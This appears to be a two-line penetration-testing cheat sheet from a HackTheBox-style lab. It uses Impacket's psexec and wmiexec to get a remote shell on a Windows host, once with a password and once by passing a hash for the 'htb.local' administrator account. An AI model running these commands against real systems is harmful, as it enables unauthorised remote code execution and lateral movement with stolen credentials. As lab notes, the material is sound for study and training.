```sh
impacket-psexec <domain>/<user>:<password>@<ip>
impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>
```